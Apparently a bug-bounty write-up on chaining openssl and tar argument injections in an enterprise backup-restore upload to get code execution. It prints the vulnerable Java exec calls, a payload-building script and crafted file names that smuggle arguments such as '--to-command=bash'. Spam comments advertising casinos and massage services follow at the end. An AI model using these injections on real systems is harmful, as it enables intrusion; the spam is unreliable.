Exploiting Command Argument Injections With Openssl and Tar
One of the more interesting bug bounties I have come across
required chaining two “argument injection” vulnerabilities along
with a number of smaller data validation vulnerabilities to achieve
remote code execution. The target application was an enterprise
server with an administrator feature for downloading a backup and
later restoring from the downloaded file. Unsurprisingly this
“restore from backup” feature involved uploading a file over
HTTP, and as is often the case the file upload was being processed in
an insecure way.
The Vulnerabilities
Here is some Java code that demonstrates how the “restore from backup” feature processed the uploaded file. I changed the real password to “secret123” because humorously the hard-coded password that they chose actually would identify the company that makes the vulnerable product. This snippet captures the essence of the vulnerable code, although it is simplified and cleaned up in order to better demonstrate the vulnerability:public void processUpload(String tmpDir /* Is always $PWD/tmp-<GUID> */,
String uploadName /* must end with ‘.archive’ and cannot contain a forward slash */ )
{
String uploadPath = tmpDir + "/" + uploadName;
String backupPrefix = uploadPath.substring(0, uploadPath.indexOf(".archive"));
String archivePath = backupPrefix + ".archive";
String tarGzPath = backupPrefix + ".tar.gz";
Runtime r = Runtime.getRuntime();
r.exec("openssl enc -d -aes-256-cbc -salt -in "+archivePath+" -out "+tarGzName+" -pass pass:secret123 -p");
if(decryptionFailed) throw SomeError();
r.exec("tar -zxvf "+tarGzPath+" -C "+tmpDir);
processRestoreFromUpload(tmpDir, backupPrefix);
}
The user controls the following inputs:
-
The content of the uploaded file
-
The name of the uploaded file, which must not contain
forward slashes and end with “.archive”
-
The uploaded file is placed in tmpDir
-
The working directory of the application and its child
processes is the parent of tmpDir
-
The temporary directory name is generated using a timestamp
with a type 4 GUID at startup
-
The process runs as an unprivileged user and is restricted
in what files it can overwrite
If I were to do a post-mortem from a developer’s perspective, I would call these out as being the main vulnerabilities that made the exploit possible:
-
[Implementation] Lack of input validation on the upload
file name (CWE-20)
-
[Implementation] Argument Injection in the first and second
exec calls (CWE-88)
-
[Implementation] When cleaning up the temporary files, it
assumed that the .tar file had only the one specific file it was
expecting and so it left all the other files on disk (another
section of code was responsible for this).
-
[Design] Use of a hard-coded password makes the encryption
a moot point, especially since anyone can get their hands on the
server executables. (CWE-656)
-
[Design] Using the upload file name as the actual name of
the file on disk – there is no reason why the filename as
specified by the user should also have been the filename on disk.
-
[Design] Using shell commands in the first place, instead
of Java libraries for encryption and compression. (CWE-676)
The Exploit
My goal here was to get an RCE that triggered immediately that was not dependent upon any external factors. The cornerstone of the successful exploitation of these vulnerabilities was the obscure tar argument “--to-command=bash”, which tells tar to execute each file in the archive as a bash script! That sounded nice in theory, but actually triggering this dangerous tar feature was surprisingly difficult because of the following mitigating factors:-
The working directory of the server process was the parent
of the temporary directory
-
The temporary directory name was not easy to guess
-
Any command injection on tar would also trigger a command
injection on the openssl, and the file name needed the openssl
command to have a successful return code
cp $1 shellcode_archive
tar -zcvf payload.tar.gz shellcode_archive
openssl enc -e -aes-256-cbc -salt -in payload.tar.gz -out shellcode_archive -pass pass:secret123
openssl enc -e -aes-256-cbc -salt -in shellcode_archive -out shellcode_archive2 -pass pass:secret123
tar -zcvf trojan_horse.tar.gz shellcode_archive2
openssl enc -e -aes-256-cbc -salt -in trojan_horse.tar.gz -out trojan_horse.archive -pass pass:secret123
UPLOAD1="trojan_horse.archive"
UPLOAD2="shellcode_archive2 -out shellcode_archive -pass pass:.archive"
UPLOAD3="payload.tar.gz -in --to-command=bash -in shellcode_archive -pass pass:.archive"
This required triple-encrypting the actual payload. The first upload drops the double-encrypted payload to $PWD/tmpDir, the second upload decrypts it a second time and places the single-encrypted payload into $PWD, and the third upload decrypts it to a temporary file payload.tar.gz and triggers the shellcode on extract.
Upload 1 - Get the payload onto the server
Filename: "trojan_horse.archive"As mentioned above, the purpose of the first upload is to drop the double-encrypted payload into “tmpDir/shellcode_archive2”. This upload does not exploit either of the argument injections, and only exploits the fact that abnormally named files in the uploaded archive will not be cleaned up. This is the only upload where the actual contents of the file matters – the next two uploads both use a malicious file name to perform an operation on a file that already exists on disk.
Upload 2 - Move to payload into $PWD
Filename: "shellcode_archive2 -out shellcode_archive -pass pass:.archive"This upload targets the openssl argument injection, and the entire purpose is to move the payload from tmpDir into $PWD. This is accomplished when the following command string is passed into Runtime.exec (the attacker controlled text is highlighted):
openssl enc -d -aes-256-cbc -salt -in tmpDir/shellcode_archive2 -out shellcode_archive -pass pass:.archive -out tmpDir/shellcode_archive2 -out shellcode_archive -pass pass:.tar.gz -pass pass:secret123 -pOn the surface this may look strange – it is taking advantage of a quirk of how openssl processes arguments. Apparently when openssl sees the same argument multiple times, the last occurrence overwrites all of the previous ones. Here is the same command string with the ignored inputs shaded out:
openssl enc -d -aes-256-cbc -salt -in tmpDir/shellcode_archive2 -out shellcode_archive -pass pass:.archive -out tmpDir/shellcode_archive2 -out shellcode_archive -pass pass:.tar.gz -pass pass:secret123 -pThis command will decrypt “$PWD/tmpDir/shellcode_archive2” and output the result into “$PWD/shellcode_archive”. The exploit so far allows arbitrary files to be written directly to $PWD.
Upload 3 - Trigger the payload
Filename: "payload.tar.gz -in --to-command=bash -in shellcode_archive -pass pass:.archive"This was the most difficult of the three uploads to come up with, since it needs to trigger the dangerous tar “--to-command” feature while also being a valid openssl command. It resulted in the following openssl command string being passed to Runtime.exec():
openssl enc -d -aes-256-cbc -salt -in tmpDir/payload.tar.gz -in --to-command=bash -in shellcode_archive -pass pass:.archive -out tmpDir/payload.tar.gz -in --to-command=bash -in shellcode_archive -pass pass:.tar.gz -pass pass:secret123 -p
Finally the tar argument injection is triggered with the following command string in Runtime.exec():
tar -zxvf tmpDir/payload.tar.gz -in --to-command=bash -in shellcode_archive -pass pass:.tar.gz -C tmpDirThis is more subtle than the openssl injection, because of how tar handles arguments. As described earlier, the key to the remote code execution exploit is that when “--to-command=bash” is specified tar will execute all files as a bash script as they are extracted.
There is a lot of other garbage on that command line though, and it surprised me that tar works as expected. The arguments are interpeted as extracting files named “shellcode_archive” and “pass:.tar.gz” from the archive at “tmpDir/payload.tar.gz”. The extra “-in” and “-pass” arguments are accepted by tar and do not cause anything to break – it doesn’t really matter what they do in this case.
If you were paying thorough attention earlier, you probably wondered why the payload script was renamed to “shellcode_archive” before it was put into payload.tar.gz. For the third upload the openssl injection interprets this name as the file to be decrypted, and the tar injection interprets it as the name of a file to be extracted from the archive because the one filename triggers both argument injection vulnerabilities.
Poker Room Las Vegas - JTM Hub
ReplyDeleteThere's only one 논산 출장마사지 way to play the 보령 출장마사지 casino poker 공주 출장안마 room for free, 여수 출장안마 or if you don't want to play your favorite game or have trouble gambling 의정부 출장안마 on any table
JCM Hub Casino - Hotel, Spa, and Casino - JTHub
ReplyDeleteJCM Hub 동해 출장안마 offers accommodation in a 거제 출장안마 number of hotels in South Korea. The casino has also become 안산 출장안마 one of the most popular places 경상북도 출장안마 to 서울특별 출장마사지 play.
Harrah's Casino and Resort - Jordan20 Retro
ReplyDeleteAt air jordan 18 retro yellow suede super Harrah's Resort, you'll find plenty of room and suite options air jordan 18 retro men order and you'll best air jordan 18 retro toro mens sneakers enjoy the casino 야구 실시간 floor as the casino hotel is located right on air jordan 18 retro racer blue online the waterfront.